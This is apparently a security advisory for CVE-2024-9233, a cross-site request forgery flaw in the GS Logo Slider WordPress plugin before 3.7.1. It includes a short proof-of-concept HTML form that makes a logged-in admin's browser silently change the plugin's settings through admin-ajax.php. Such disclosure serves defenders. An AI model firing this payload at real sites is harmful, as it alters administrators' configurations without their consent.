GS Logo Slider < 3.7.1 – Settings Update via Cross-Site Request Forgery | CVE 2024-9233

Description

The plugin does not have CSRF check in place when updating its settings, which could allow attackers to make a logged in admin change them via a CSRF attack

Proof of Concept

As an admin, open an HTML file containing:

```
<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://example.com/wp-admin/admin-ajax.php" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="action" value="gslogo&#95;save&#95;shortcode&#95;pref" />
      <input type="hidden" name="prefs&#91;enable&#95;single&#95;page&#93;" value="on" />
      <input type="hidden" name="prefs&#91;disable&#95;lazy&#95;load&#93;" value="on" />
      <input type="hidden" name="prefs&#91;lazy&#95;load&#95;class&#93;" value="csrf_test" />
      <input type="hidden" name="prefs&#91;anchor&#95;tag&#95;rel&#93;" value="csrf_test" />
      <input type="hidden" name="prefs&#91;gs&#95;logo&#95;slider&#95;custom&#95;css&#93;" value="test" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
```

Submit the form and then view changed settings at https://example.com/wp-admin/edit.php?post_type=gs-logo-slider&page=gs-logo-shortcode#/preferences